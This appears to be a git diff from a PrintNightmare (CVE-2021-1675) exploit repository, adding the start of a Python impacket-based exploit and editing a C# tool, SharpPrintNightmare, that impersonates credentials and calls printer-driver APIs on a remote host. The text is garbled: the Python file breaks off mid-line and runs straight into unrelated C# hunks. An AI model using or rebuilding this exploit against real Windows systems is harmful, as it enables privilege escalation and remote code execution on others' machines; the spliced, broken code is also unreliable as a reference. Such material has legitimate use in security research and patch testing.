diff --git a/Images/2012.png b/Images/2012.png new file mode 100644 index 0000000..db132f4 Binary files /dev/null and b/Images/2012.png differ diff --git a/Images/2016.png b/Images/2016.png new file mode 100644 index 0000000..70bbddc Binary files /dev/null and b/Images/2016.png differ diff --git a/Images/2019.png b/Images/2019.png new file mode 100644 index 0000000..c256c59 Binary files /dev/null and b/Images/2019.png differ diff --git a/Images/mssec.png b/Images/mssec.png new file mode 100644 index 0000000..26be187 Binary files /dev/null and b/Images/mssec.png differ diff --git a/Images/poc5.png b/Images/poc5.png new file mode 100644 index 0000000..52aff4c Binary files /dev/null and b/Images/poc5.png differ diff --git a/SharpPrintNightmare/CVE-2021-1675.py b/SharpPrintNightmare/CVE-2021-1675.py new file mode 100644 index 0000000..469c574 --- /dev/null +++ b/SharpPrintNightmare/CVE-2021-1675.py @@ -0,0 +1,168 @@ +#!/usr/bin/python3 +from impacket.dcerpc.v5 import par, rpcrt, epm +from impacket.dcerpc.v5.transport import DCERPCTransportFactory +from impacket.dcerpc.v5.dtypes import NULL +from impacket.structure import Structure +import argparse +import sys +import pathlib + +#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030 +class DRIVER_INFO_2_BLOB(Structure): + structure = ( + ('cVersion',' 1) + + if (args.Length > 1) { pDriverPath = args[1]; } @@ -103,7 +103,7 @@ namespace SharpPrintNightmare user = args[4]; password = args[5]; } - + //runas /netonly using (new Impersonator.Impersonation(domain, user, password)) { @@ -171,7 +171,7 @@ namespace SharpPrintNightmare uint cbNeeded = 0; uint cReturned = 0; //path = "\\\\192.168.1.20"; - + if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) { //succeeds, but shouldn't, because buffer is zero (too small)! diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs deleted file mode 100644 index e5dc9b8..0000000 --- a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt deleted file mode 100644 index e69de29..0000000